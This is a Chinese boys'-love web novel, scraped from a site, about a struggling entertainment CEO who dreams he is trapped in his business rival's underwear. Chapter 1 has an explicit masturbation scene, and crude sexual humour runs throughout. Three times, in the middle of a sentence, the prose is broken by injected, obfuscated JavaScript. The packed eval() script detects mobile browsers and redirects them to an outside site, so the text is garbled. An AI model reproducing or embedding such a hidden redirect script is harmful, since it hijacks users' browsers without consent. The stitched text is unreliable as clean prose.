《总裁的贴身内裤》 1. 第 1 章 天气逐渐凉下来,方天娱乐公司濒临破产边缘。 方霁刚洗完澡,从浴室的蒸汽中走出,身上还萦绕着沐浴露的清新,却没有往日的轻松。 他走向沙发,仿佛被无形的重力牵制,疲惫地用手背遮住双眼,隔绝光线,试图在黑暗中寻找一丝宁静。 遭到最信任的朋友的背叛,这么狗血的事情居然真会发生在他身上。 六年前,他与几位挚友共同创立了方天娱乐。那时方霁家里也算有点小钱,作为主要投资人和创始人,自然成了团队的领导者。 然而好景不长,一颗老鼠屎坏了一锅粥。其中一人不满收入分配,暗中挪用公款,并利用职务之便诱骗艺人签下不平等合同,导致公司管理陷入混乱,如同决堤的洪水一发不可收拾。 当方霁意识到问题的严重性时,已经为时已晚。不仅人跑了,公司还欠了一屁股债,资金运转不周濒临破产。 “靠。”方霁低吼一声,紧握的拳头重重落在沙发上。 杨氨,你这龟孙有本事就夹紧尾巴做一辈子地沟老鼠,否则让我抓到,非亲自剥下你一层皮不可! 他已经咨询过法律专家,杨氨的行为触犯法律,构成侵占与合同诈骗的重罪,可以起诉。 现在的首要任务,是保全公司以及搜集证据。 月色昏晕,大桥的倒影搅动得江面迷幻不清。都市的灯火依旧璀璨,车流不息,好似永不落幕的舞台剧。 方霁本以为自己会因为白天的事情辗转反侧,难以入眠,却意外地在沙发上沉沉睡去。 再次醒来,不知过去多久。方霁迷糊间下意识想摸手机看眼时间,却只触到空气。 他彻底睁开双眼,映入眼帘的是一个诡异而迷离的仰视画面。 似乎是个人,那百分百纯正的肉色正对着他,还可以看到一点对方刀削般的下巴,以及……那团遮挡在视眼前油光发亮的黑色毛发。 方霁心头一震,他也是男人,瞬间明白了自己所处的位置。 这突如其来的“视觉盛宴”令方霁全然清醒。想掐自己一把强行打破梦境,却发现连抬手都成了奢望。 男人显然刚从浴室出来,身前还残留着水珠。方霁只知道这人上身未着寸缕,连浴袍的遮掩都没有,至于下半身是否有衣物,不得而知。 随着男人开始在房间里走动,方霁总觉得对方的身影有种说不出的熟悉感,仿佛是记忆中的某个碎片,在脑海中不断放大。 直到男人在床上坐下,方霁也终于看清楚了对方的全貌,呼吸一滞。 靠,他怎么会梦到贺知行!? 倘若方霁此刻能将内心的震惊化作实体,那么他的双眼定会如两颗新鲜出炉的爆米花,膨胀至极限,随时可能弹出眼眶直击贺知行的心脏。 可惜,他现下既无法言语,也无法动弹,甚至连自己为何会陷入这种荒诞不经的梦里都捉摸不清。 看贺知行的举止,似乎并未察觉到他的存在,这倒让方霁在一片混乱中找到一丝慰藉。 即便是在做梦,他也不想与贺知行直接交锋,省得消耗更多心力。 但他的这份慰藉很快便被打破了。 贺知行的手缓缓向他伸来。 方霁有种不详的预感,紧接着脸被人扯住了,从印度洋拽到北冰洋,最终停在一个前所未见的、更为诡异的视角上。 就在这时,一条硬如磐石的“巨龙”突然跃入视线,周身被茂密的黑草簇拥,形成的阴影不偏不倚地落在方霁的脸上。 好大…… 这人天天挂在身前不怕下垂吗? 方霁心中暗自惊叹,但随即又意识到现在根本不是想那些的时候。 一片寂静中,巨龙犹如破晓的曙光,早已苏醒。 不知道贺知行想到了什么,呼吸有点重。 方霁面对眼前这一幕,内心的震惊已经超越了言语所能表达的范畴,视线却如同被钉死了般,无法挪动分毫。 贺知行的手很大,刚好可以包裹住。随着频率越来越快,表面青筋暴起。 巨龙逐渐由淡转浓,涨成了紫红色,如同即将喷薄而出的火山,忍耐到了极限,只需一个契机,便可将所有激情与渴望一并释放。 贺知行喃喃自语了一句什么,方霁没听清。 …… 方霁猛地意识到什么,心中警铃大作。 踏马的,你要是真敢对着我*,老子保管把你的**剁下来,整个沾满串稀的粪便给你拌饭吃!再抠烂你的鼻子,搓出鼻屎蹬腿丸塞进你**里! 方霁内心狂风骤雨席卷,贺知行却仍在自顾自地继续着。 “不许*!!!” …… 靠!!! …… 方霁:“……” 一股更为浓郁的腥膻味扑面而来,他的脸和身体都不干净了,有些甚至强行挤入了他的口中。 呕—— 方霁在心底骂得更脏了。如果非要形容有多脏,那就是放在某个绿色网页里,全得被一连串“口口”所替代的程度。 贺知行收拾完,起身将内裤投入洗衣机旁的脏衣篓,换上一条新的,随后细致地用水流洗净双手,步入客厅为自己倒了一杯水,这才回到卧室躺下休息。 方霁还待在脏衣篓里,情绪从暴躁逐渐转为错愕,最终陷入一种麻木的状态,精神几近崩溃的边缘。 “从没有人敢这么对我,贺知行,你还是头一个。”方霁咬牙冷笑道。 话音刚落,他又重新转移到了贺知行身上。方霁这次不用看都知道自己在哪。 是不是觉得他公司快要倒闭了,就可以在他的梦里进行折辱? 贺知行,既然我不好过,你也别想舒坦。劳资就算是死也咬断你,让你再也不能人道! - 滴滴——滴滴滴—— 第二天早上,设置的闹钟按时响起。 方霁从沙发上醒来。分明睡眠的时间不短,眼底却好似彻夜未眠充满血丝。 他妈的,从没做过这么恶心透顶的梦。要再来几次,他都得有心理阴影了。 方霁抹了一把脸,从沙发上起身,在卧室衣柜中挑选出一套正装换上。准备换裤子之际,瞧见身上纯棉的内裤。 方霁:“……操。” 他没吃早餐,怕真给吐出来了,收拾好自己后直接开车到公司上班。 “方总好。” “早上好,方总。” 经过员工办公区时,已经到了的几名员工站起身来向他打招呼,方霁微微点头后进了自己的办公室。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773822|145710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公司出事的消息还没有传开来,方霁担心军心动摇,有意压着舆论的扩散,但毕竟这么大一个公司,员工薪资、艺人行程、设备购置等等,无一不需要巨额开销。 方霁现在是拿自己的钱填进去维持运转,但并不能完全弥补空缺,只是延缓了资金链断裂的速度而已。 他需要赶紧找投资人,不然就只能向银行贷款了。 十点左右,助理敲响办公室的门,轻声通报。 “方总,有位自称贺知行的先生,指名要见您。” 听到这个名字,方霁几乎本能地拒绝:“不见。” 助理察言观色,没有多问,正欲离开时,方霁想到什么,又叫住了他:“等等。” “他有没有说找我什么事?” 贺知行是知谦娱乐公司的掌舵人。俗话说一山不容二虎,从公司名字上就不难看出,他们是商业上的竞争对手,同为娱乐巨头,资源争夺在所难免。 方霁一开始对贺知行还没现在这么厌恶,毕竟同行竞争这是再正常不过的事情。 偏偏这人手段脏得很,每次他瞧上的资源,这人不是要和他抢,就是提前截胡。一两次还姑且可以称作巧合,次数多了,方霁不止一回冒出过买凶杀人的想法。 最让方霁愤怒的是,贺知行居然还嚣张到他面前来,在微信上主动发消息说愿意将资源让出。 方霁是个商人,不会和钱过意不去,但也知道天下没有免费的午餐,问他的条件是什么。 【贺知行:陪我吃一顿饭就行。】 吃一顿饭就行? 这潜台词和陪我睡一觉又有什么区别? 方霁在将人拉黑前发了最后一条消息过去。 【方霁:当年闹饥荒怎么没给你饿死。】 - “呃……贺先生解释不便向我透露详情,只说能够帮您解决燃眉之急。”助理道。 方霁心中冷笑,这家伙会有那么好心?说实话他是不信的。 但贺知行又怎么会知道他公司出事了? “算了,你一会喊他上来吧。”是蛇神还是牛鬼,总要拉出来遛遛。 助理点头。 方霁想起他这个助理是人事部最近帮他新招的,上任不过两天,但办事能力还不错。他最近因为烦心事,一直没有询问过对方的名字。 “对了,你叫什么名字?” 杨氨之所以能够瞒着他卷走那么多钱,除了他自身的职务便利外,还有一个同伙,那就是方霁的前助理。两人狼狈为奸,在杨氨跑路后,这小子也跟着一起消失得无影无踪了。 助理恭敬道:“方总您叫我小刘就行。” 方霁放下手中的签字笔:“公司里的小刘多了去,怎么不告诉我你的全名?” 助理思索片刻:“因为在总裁文里,我们这些助理都是不配拥有全名的路人角色。” 方霁无语得噎了一下:“我这人最烦别人墨墨迹迹的,要么告诉我名字,要么现在卷铺盖走人。” 助理这次飞快道:“刘叉。” 方霁:“小刘也挺好的,亲切。” 助理:“……” “今后少看点那些没营养的文。”这一个两个的,都不让他省心。 “……好的方总。” 2. 第 2 章 男人身着笔挺的西装,每一处细节都透露出高档品味,连一丝皱褶都难觅其踪,完美得无可挑剔。 搭配那张俊朗非凡的脸,他刚踏入方天娱乐公司,便引来无数目光。 在助理的引领下,贺知行乘坐电梯,直达六楼的办公室。 “方总就在里面,您直接推门进去即可。” 贺知行礼貌性道谢,随后上前,推开办公室的门。 “无事不登三宝殿,贺大总裁在这个节骨眼上来找我,最好是真有要紧事。” 方霁从椅子上站起,走出几步与贺知行平视,扯出一个笑:“另外,我这人最近脾气差得很,若一会招待不周,还望海涵。” 贺知行并未因方霁的态度而生气,甚至显得毫不意外,直截了当道:“我此趟是带着诚意,希望与方总探讨合作的可能。” 方霁没有让客人站着的毛病,即便对方是他讨厌的人。他看向办公室另一端的沙发,示意贺知行:“既然是合作,不妨坐下详谈。” 贺知行跟着他坐下。 “……方天娱乐发展至今,已是业内的佼佼者,我一直密切关注着贵公司的动态,期待与你们的深度合作。”贺知行率先道。 这些客套话,方霁这几年听得耳朵都起茧子了,但他还是从贺知行的话语中捕捉到别样的意味。 多次资源被贺知行截胡,方霁怀疑过是不是公司内部藏有叛徒。为了验证,上个月的一项合作中,他特意保密,从谈判到签约全程独自操作,甲方却还是在答应签订合同的次日突然反悔,称已与知谦娱乐合作。 方霁几乎排除了内鬼的可能,那么只剩一种:贺知行使用了某种不正当的肮脏手段在故意和他作对。 此刻听他亲口承认,方霁冷笑出声:“这么说,贺总终于承认自己一直在暗中监视我了?” 贺知行没想到他会这么说,一时语塞。 方霁觉得他这是默认了,拳头握紧。 “不是。”片刻后,贺知行终于想起开口解释:“我只是对方天娱乐公司很感兴趣。” 方霁的脸色愈发阴沉,咬牙道:“你还觊觎我们公司?” 贺知行:“……” 因着昨晚那场噩梦,他一夜没睡好,早上恶心得连早餐都没吃,现在又被贺知行这么接连气了两下,没一会胃痛便如潮水般汹涌而来。 贺知行敏锐地察觉到他的不适:“身体不舒服?” 这个时候要是点头,和气势上认输没什么两样。方霁故作轻松道:“不过是没吃早餐而已。” 贺知行明白他在硬撑,但未戳破,而是顺着话题问:“为什么不吃?” 方霁想起溅到脸上的东西,胃疼得更厉害了:“全拜某人的变态行为所赐,恶心到我连早餐都敬而远之。” 贺知行眉头微蹙:“你最近碰上了性骚扰?” 方霁呵呵了两声没答,更不想再看到他那张刺激胃酸的脸。 “所以贺总今天大驾光临,到底是有什么目的?” 贺知行也只能回归正事,道:“想说的我刚才都说了。我也清楚贵公司近期的情况,如果你愿意,我可以收购方天。” “收购后,仍旧由你担任分公司的管理者。” “分公司?”方霁算是懂了他的意图,正如他一开始的猜测,这人芝麻粒大的心脏压根就不是什么好心。 “谁要当你下面那个?” “这家公司是老子打拼六年运营到现在的,就算有一天真要宣布破产,我也绝不会将这么多年积攒的成果拱手让人。”大不了从头再来,他才二十九岁,人生还有那么长。 贺知行并不认同他的选择:“你真的甘心看着方天破产?就算是向银行贷款,光是利息也是一笔不菲的债务,倘若公司后期没能重归正轨,你又该拿什么还钱?” 尽管方霁竭力封锁公司危机的消息,但也只是没传播到大众面前而已。那些被诱导签下不平等合同的艺人绝不会轻易罢休,方霁的承诺与安抚只能抵挡得了一时,稍有不慎,便可能跌入崖底,永无翻身之日。 届时,杨氨干出的那些混账事,方霁自己也难以撇清关系。 寻找投资人的计划方霁至今毫无进展。毕竟了解方天实情的人,谁会愿意承担如此巨大的风险? 知谦收购方天,获得所有权与支配权,同时也意味着承担方天名下的所有债务。 说实话,这一点对于方霁来说是有益的。 可他不甘。 “贺知行,你是不是觉得自己名字里带个‘行’,就真的很行了?猪都分得清公母,你别自以为是到连畜牲都不如。” “我的事,还轮不到你来评头论足。” 方霁咬紧后槽牙,极力抑制声音的颤抖,随即对着门口喊道:“小刘!” 刘叉仿佛二十四小时待命的保镖,闻声迅速推门而入。 “送贺总出去。”方霁命令道。 刘叉将门完全敞开,走到贺知行身旁,礼貌地做了个请的手势。 明眼人都看得出,这次的事谈崩了。以方霁的性子,再留下也无济于事。 贺知行起初并未动身,目光仍紧紧锁定对面的方霁。方霁却转过脸,明显不想再与他消耗时间,随后与助理交换了一个眼神。 刘叉心领神会,立刻说道:“还请贺总配合我的工作。” 贺知行这才起身,留下一句:“方总若想反悔改变主意,随时可以再联系我。” 反悔? 笑话,从知道鼻屎不能吃的年纪开始,他方霁人生字典里就没有“反悔”这两个字! 方霁未发一言,贺知行随着助理离开。 刘叉送走贺知行后,再次进入办公室,便看到自家老板仰躺在沙发上,脸色苍白如纸,有种死人微活的既视感。 方霁听见身后的动静,艰难地转身,颤巍巍地向他伸出手:“快……有没有迅速起效的止疼药。” 妈了个巴子的,刚刚要是再多聊一会,他就真撑不住,在贺知行面前暴露身体不适。 “有的,方总。”刘叉连忙从衣服口袋中取出药片,又倒了一杯水,递给方霁。 方霁服下药,约莫十分钟后,脸色才逐渐恢复。注意到助理仍守在一旁,心中暗自感慨:这小子倒是比上一个贴心多了,在这种细节方面都能做到如此周到。 但转念一想,他又生出疑虑:“你怎么随身带着止疼药?要是身体真不舒服可以请假,我们公司还没有苛刻到要奴役员工的程度。” 刘叉说:“谢谢方总关心,我身体无恙,能正常工作。” 方霁上下打量他一番,面色红润,双眼明亮,确实不像患病的样子。“那是什么原因?” 刘叉一本正经道:“因为在总裁小说中,十个总裁,九个患有胃病,所以我为您准备了一箱可能需要的药物,随时应对各种突发状况。” 方霁:“……” “我不是让你少看那些没营养的东西?”方霁佯怒道:“迟早有一天,我得烧了你那些小说。” “方总,您烧了我可以,但请手下留书。”刘叉立刻道。 “为什么?”方霁不解。 刘叉微微弯下腰,像个低头认错的孩子:“我那些书很多有特签,特别是《总裁的贴身内裤》这本,无删已绝版,有价无市。您要是真烧了,对我来说就是暴殄天物,跟要了我的命没什么区别。” “……”方霁忍下骂人的冲动,心烦地摆了摆手:“算了,你也出去!” 再聊下去,他的胃又得疼了! 刘叉应了一声,未再惹方霁不悦。 另一边,贺知行离开方天公司大楼,坐上黑色私家车,拨通一个电话:“这几天他心情应该不会太好,你多留意,有任何异常情况及时通知我。” - 临近黄昏,一阵手机铃声打破宁静,来电显示——甄均。 方霁接通。 “喂?方哥?我今天回晋城,晚上一起出来喝酒怎么样?” 甄均是方霁步入社会后偶然结识的。那时方霁的公司尚处于起步阶段,在KTV与客户商谈合同,恰好遇到有人闹事。 一位客人从洗手间出来,裤子后方一片鲜红,硬是拉着方才上酒的服务员,声称酒水有毒,这人谋财害命,不仅索求赔偿,甚至动手打人。 方霁当时就坐在不远处,目睹全程,在看到那名服务员被一脚踹倒在地时终于没忍住,站起身,说了几句公道话并报警。 随后警方介入,服务员送上来的酒水没有任何问题,是这名客人自身便秘导致的痔疮破裂。 那名服务员就是正在酒吧打工的甄均,想要感谢方霁,请求添加联系方式。 方霁其实不爱和不熟悉的人过多纠缠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773823|145710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,认为对方的感谢不过是客套,便给了他微信,打算过段时间再删掉。 可没想到,两人竟慢慢熟络起来,闲暇时便相约出来消遣。 “你几点的车?”方霁想了想,今晚没什么要紧事,正好他最近也挺需要发泄的。“快到了发消息给我,我去接你。” 当年甄均没多久就从KTV辞职了。他的家境不算特别富裕,但父母经营着一家小公司,足以让他衣食无忧。 去KTV当服务员纯粹是为了体验生活,后来父母年迈,他便回家接手了家业。 这几年,方霁与甄均主要通过网络保持联系,偶尔甄均出差或空闲会到晋城来找他,第一个联系的便是他。 相反方霁也是一样。 “好嘞。”电话那头,甄均的喜悦溢于言表,“大约一小时后到达。” 挂断电话,方霁拿起抽屉里的车钥匙,抓过椅子上的外套,下楼亲自驾车前往车站。 正值下班的高峰时段,方霁赶到车站时,已经距离甄均的到站时间超出半个小时,他直接拨通了对方的电话询问位置。 不出五分钟,方霁在候车厅的休息区找到了穿着幼稚卫衣的青年。 青年一见方霁,立刻从座位上弹起,扑向方霁紧紧抱住他:“大半年没见,方哥有没有想我?” 方霁没有正面回答这个问题。自从知晓甄均性取向的那一刻起,他虽然愿意尊重这个群体,但要说完全接受,一时半会儿还难以办到。 “抱歉,路上有些堵车,我应该再早点出来的。”方霁只轻轻拍了拍对方的后背,言语中带着歉意。 甄均比他小五岁,除了朋友,方霁更视他如亲弟弟,需要悉心照顾。 有时方霁也会怀疑自己是否敏感过头了,甄均向他坦白性取向后,对他还是一如既往,该吹牛皮吹牛皮,该混账的还是继续混账。 拥抱后,方霁主动接过对方的行李,两人一同离开车站,先去用晚餐。 路上,甄均的嘴就没消停过。 “对了,你腿好点了吗?”等红绿灯的间隙,方霁问。 说起来,甄均这人和便秘还真挺有缘的。 前段时间吃辣上火便秘,听人说串稀可以通便,百试百灵,于是他躺在空调机口下睡了一晚上,最后拉了一个星期的肚子,一天最少五次,人都拉虚脱了,晕倒在家门口。 那时的他又为了体验生活,在拥挤的居民楼租了间平价房。 邻居是位高度近视的老太太,买菜回来没看清他,两脚踩了上去,差点变成鸡蛋花。给他疼得清醒过来,在地上滚了一圈,刚好滚进楼梯口,从二楼一路滚到了一楼空地上,满脸的血痕。 路过的行人看到,以为发生了杀人案,尖叫一声后冲到最近的派出所报警。 半个小时后,他被几名刑警合力抬上警车,风风光光地送进了医院,治疗多处骨折和串稀。 甄均其实挺不好意思聊起这件事的,丢人,于是含糊回答了几句后便安静下来,看着窗外没再说话。 方霁低声笑了,绿灯亮起,继续开车。 - 到餐厅,服务员将菜上齐。 “方哥,今晚咱就别去普通酒吧了?”甄均在餐桌上突然开口。 方霁倒是无所谓,只要能喝酒,去哪都行。他端起温水喝了一口,淡淡道:“都可以,你想去哪家?” 甄均的表情顿时变得有些戏谑,“要不……方哥你跟我去gay吧喝酒?” “咳咳咳——”方霁一口水呛得差点喷出五里地,“你说什么吧?” “gay吧啊。”甄均试图劝说道:“方哥你长这么大还没去过gay吧吧?你不知道,那地方有多销魂。” 方霁怀疑他在胡说八道,抽了张餐巾纸擦拭嘴角:“我一个直男,没事去那种地方干什么。闲得蛋疼吗?” “嗯……”甄均拉长了音:“听说憋久了真会蛋疼,方哥你不会到现在还是处男?” 方霁没接话,心中兀自默念公民基本道德要求。 甄均以为他默认,面露惊诧:“不是吧方哥,你都快到三十了,居然还是处男!” 周围用餐的人闻声都看了过来。 妈的。 方霁终于按捺不住,“才吃了几口菜,就给你醉成这样?!要不你还是趁早回酒店,我看‘早点睡吧’更适合你!” 3. 第 3 章 骂归骂,打归打,方霁最后还是被甄均拖进了gay吧,酒劲一上头后,逮着瓶子就开始吹,也压根不在意这里是哪了。 贺知行是在快十二点时接到的电话,没有任何备注,只有一串认识的电话号码。 “喂,贺总?” “嗯。” “您交代我要留意方总,他……” “他发现你了?” “不,他和朋友从餐厅出来后去了酒吧喝酒,现在酒劲上头,正拿着啤酒瓶冲上舞台开始唱歌。” “让他唱。” 方霁这人向来要强,极少示弱,一旦心中不快,便会寻找各种途径宣泄出去,绝不委屈了自己。 喝酒、唱歌,都算是正常的了。 “呃……他在舞台上和人抱在一起,还要跳脱衣舞。” 电话那头沉默了几秒,就在对方以为贺知行已经挂断,准备查看一眼屏幕时,贺知行突然道:“发我位置。”语气比先前沉重许多。 几秒钟后,手机界面多出一条新消息。看到定位是在晋城内颇有名气的一家gay吧时,贺知行的脸色一下就黑了。 贺知行从未在城市中驾驶如此之快过,事实上有了私人司机后,他几乎就没自己开过车。好在手感倒是和曾经没什么差别。 头顶的吊灯与摇头灯散发出五彩斑斓的光芒,映照着盛满酒水的玻璃杯,震耳欲聋的音乐与暧昧的色调侵蚀着人们激动的心,将气氛推向更高潮。 酒吧内几乎全是男性,服务员也不例外。贺知行刚踏进这家酒吧,便不悦地拧紧了眉心。他记得方霁是纯直男,比黄金还纯,怎么会来这种地方喝酒? 继续往里走,贺知行最终在卡座的皮质沙发上找到了喝得烂醉的方霁。 外套被随意丢在一旁,身上仅穿着一件黑色衬衫,领口最上面两粒扣子解开,露出一白皙的胸口。袖口卷至小臂,那张脸在蓝紫色灯光下显得乖顺许多,整个人半蜷缩着,像只熟透了的虾。 还好,裤子还在。 这到底喝了多少瓶? 贺知行上前,几乎没有任何商量,直接将人背了起来,离开这个在他眼中污秽不堪的场所。 途中,方霁感觉到自己在移动,没认出背他的人是谁,挣扎了两下,喃喃道:“老子不跟男人开房。” 不跟男人开房来这种地方?还是有被围观的癖好,准备直接在沙发上干柴烈火? 贺知行心中冷笑,为防止方霁乱动摔下去,冲着他屁股拍了一巴掌,警告道:“老实点。” 出门后,贺知行将人放入轿车副驾驶,系好安全带,动作流畅一气呵成。准备起身时,注意到方霁锁骨上的红印,贺知行神色骤冷,眼中闪过厌恶。 方才里面灯光太暗,他没有注意到,现在再看,这除了是吻痕还能是什么? 在电话里,他似乎听到方霁与人抱在一起来着。 上社会几年,还真是玩得越来越花了。 “和外面那些不三不四的野男人搅在一起,也不怕染病。”贺知行伸手,揉搓方霁锁骨上的吻痕,那片肌肤变得更红了。 恰在这时,方霁的眼皮跟身体一起动了动,贺知行以为他要醒,又收回手迅速拉开距离。半分钟过去,见他压根没睁开眼睛,才意识到这人只是躺得不舒服,正在寻找合适的姿势。 贺知行给他调整了座椅角度,随后坐上主驾驶,油门踩下,驾车离去。 …… 空气中弥漫着醉人的酒香与高亢的音乐,一个陌生男人唇边噙着戏谑,主动朝吧台这边走来,道:“小朋友,成年没有就敢来这种酒吧。” “知道吗?像你这样的小奶狗,要是落单了,可是会被吃得连骨头渣子都不剩的。” 甄均抬眼,目光与男人交汇。 对方身着精心定制、裁剪得体的深色西装,搭配简约风格的白色衬衫,一副金丝眼镜架在鼻梁上,浑身散发出矜贵而散漫的气质。 这人究竟是有多爱装叉啊,来酒吧这种地方还穿正装。 甄均心中暗想,脸上挂着一抹皮笑肉不笑的表情,“我这人最烦别人叫我‘小朋友’了。” 男人递上一杯色泽诱人的酒,突然凑近甄均,低沉的嗓音带着诱惑:“是嘛?既然成年了,那要不要和我试试?” 甄均的目光在对方身上上下扫过,将人推开,嘴角勾起一抹玩味的笑:“可惜,你不是我喜欢的类型。” 男子闻言,眼中闪过一丝兴趣:“哦?那你喜欢什么类型?” 甄均轻啜一口手中的酒,神色间透露出暧昧:“我喜欢野的。” “你都没亲自验过货,怎么就知道我不够野了?”男人捉住甄均的手,直接从自己的衣服下摆伸了进去,道:“万一我们在身体方面很契合呢?” 甄均的手被男人带着向上移动,最后停在了胸口位置,触及到一片细腻的丝质布料。 男人的目光紧紧锁住甄均,嘴角微微上扬,那自信而略带挑逗的笑容,令他看起来比方才多了几分性感,仿佛夜色中引诱着行人步入深渊的恶魔。 “怎么样,这次感兴趣了吗?” 甄均认出那片丝质的布料,震惊之余手上收紧:“你是变态吗?把这种东西穿在身上。” 男人的笑意加深,解释道:“那你还真是误会我了。这是今天上午才新到的快递,还从来没给其他人见过。” “要成为第一个吗?” 男人的长相无可挑剔,无论是在攻还是受的角色中,他都算得上整个gay吧内炙手可热的存在。 甄均不得不承认,他确实被吸引了,与他之前相处过的几个相比,面前这个男人在颜值和气质上高出了不止一个档次。 “你开车,我喝酒了。” - “啧,你开这么快干什么?赶着捉奸啊?” 从车窗缝隙吹进来的冷风令方霁清醒了几分,但意识仍未完全恢复,只是朦胧地睁开眼,看了一眼自己的位置,没有怀疑自己为何会出现在贺知行的车上。 其实,他压根就没认出驾驶座上的人是贺知行,还以为是哪位代驾师傅。 “就是因为你们这些自以为是,不遵守交规的人,每年才会有那么多车祸。”方霁喃喃自语,声音中带着几分不满。 “如果让我来处理这种交通事故,我就开辆拖拉机过来,将你再碾一遍。” 贺知行的脸色仍旧阴沉,但听到方霁的话,还是将车速缓缓降了下来:“所以你为什么没去当交警?” 方霁显然醉的不轻,回答:“因为爱吃喜之郎,要当太空人。” 贺知行:“……” 当车子停下,时间已过凌晨一点。方霁又两眼一闭,不省人世了。 贺知行将人从副驾驶拖出来,一路拖进家门口,再拖到二楼的卧室扔到床上,多少有些惩罚和发泄的意味在里边。 安置好方霁后,贺知行下到一楼厨房,用冰箱里的食材做了一碗醒酒汤,然后重新回到卧室,将醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773824|145710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒汤灌入方霁的口中。 方霁刚喝了没两口,突然抬起手抓住贺知行的衣服,哇的一声,将胃中的食物尽数吐了出来。 猝不及防,贺知行的衣服和裤子上溅满了呕吐物。 方霁吐完,下一秒就倒回了床上,仿佛什么也没发生过。留下贺知行一人,面对着一片狼藉,怔愣了良久,心中五味杂陈。 - 时间在意识的长河中悄然流逝,变得模糊不清。方霁用力地甩了甩脑袋,试图睁开沉重的眼皮。 为什么头会这么晕? 哦是了,他喝酒了。 说实话,他已经很久没有喝过这么多酒了。或许是因为当时酒吧的氛围太过于热烈,亦或是因为顺风顺水二十多年,还从来没有栽过如此大的跟头,以至于他失去了往日的冷静。 他记不清自己究竟喝了多少,只知道挺疯狂的。他冲动地冲上舞台准备跳脱衣舞,后面不知道被谁给拽了下来,踉跄着带到了卡座的沙发上。 现在回想起来,方霁心中涌起一丝庆幸。要是他真在gay吧跳了脱衣舞,被人传出去,就算方天最后没有破产,他也没有脸皮再继续去上班了。 不过他怎么浑身黏糊糊的? 周围还这么黑? 方霁确认自己已经睁开了双眼,但眼前依旧一片漆黑,甚至他的脸颊不知被什么顶着,感到异常拥挤和不适。 正当方霁百思不得其解时,一道光突然照了下来。方霁努力适应那阵强光带来的刺激,待视线逐渐清晰,眼前的景象宛如春雷般震撼,令他彻底愣住了。 靠,他为什么又到贺知行身上来了?! 还有贺知行身上什么味啊,这么臭,拉身上了? 方霁严重怀疑贺知行是不是往他梦里充值了,不然怎么接连两次以如此令人作呕的方式闯入他的梦境。 这剧情,怕是没有一个正常的小说家会写,太癫,太恶心了。 谁写谁有病。 贺知行步入浴室,动作利落褪去衣物。半分钟后,他拧开面前水龙头,哗啦啦的水流瀑布似的从头顶浇下,冲刷走一身的污秽。 方霁因为无法移动,被迫在一旁目睹了整个过程。眼前除了贺知行那副健硕而匀称的身材外,还有那藏在水雾中若隐若现,正蛰伏在贺知行身前的…… 贺知行洗完澡,穿上浴袍,整个人焕然一新。 不出意外,方霁在贺知行准备穿上内裤的前一刻,又转移了位置。随着贺知行手上的动作,他的脸颊贴上了那件上回没能咬断的物品。 贺知行走出浴室,方霁透过浴袍中间的缝隙,窥见了一些外面的景象。 房间内装饰低调而奢华,不远处是一扇落地窗,看起来是在一栋私人小别墅中。 方霁感到怪异,这里的每一处细节,都比他之前做过的梦要真实太多,仿佛触手可及。 但这份惊诧并未持续太久,因为很快他就彻底笑不出来了。在房间的另一角,他看到了自己——虽然只是一张侧脸,但他每天清晨照镜子,绝对不会认错这张熟悉而帅气的面孔。 为什么他在梦里还有分身? 莫非那里躺的……是他的尸体? 这个念头让方霁心中一紧,来不及细想,贺知行已经朝床上的他走去。在犹豫了几分钟后,贺知行开始脱去他的衣服。 方霁:“???” 将我装在你的裆里就算了,现在在我的梦里,你还敢脱我的衣服,未免太过嚣张了吧! 4. 第 4 章 听人说,要是在梦境中意识到自己这是在做梦,且还没有转醒的情况下,就可以在梦里实现所想的一切。 方霁之前就做过类似的梦,突然意识到自己是在做梦,于是他想天黑便天黑,想开跑车便有一辆豪车停在面前。 “你个死变态,给老子住手!”方霁厉声呵斥,然而,这次无论他如何在内心挣扎,梦境的法则都对他紧闭大门,无法再随心所欲地操控。 方霁眼睁睁看着贺知行将他上身脱干净,当对方的手即将触及他的皮带,方霁终于忍无可忍。他猛地转过头,以破罐破摔之势,对准贺知行的庞然巨龙,狠狠咬了下去。 贺知行的动作立刻停滞,目光投向自己的下身。 从昨晚开始,他就隐约感到异样的不适,尤其发泄过后的半夜里,像是被什么追着咬,有些刺痛。他怀疑过是不是这批内裤穿久了,需要更换,于是他今天下午特地去商城购买了一批崭新的。 但怎么穿着这条新的,依旧让他有昨晚那种难以言喻的感觉? 有东西不小心混进去了? 贺知行决定一会再检查一下,但现在得先帮方霁换了身上的衣服。 方霁见他又要继续,心中的愤怒化作了嘴边更紧的咬合。但不知道是不是身处梦境的缘故,他牙口挺好一人,按理来说这么大的力气,就算贺知行不断也该废了。 贺知行却仅仅皱了皱眉,动作未再有丝毫迟疑。 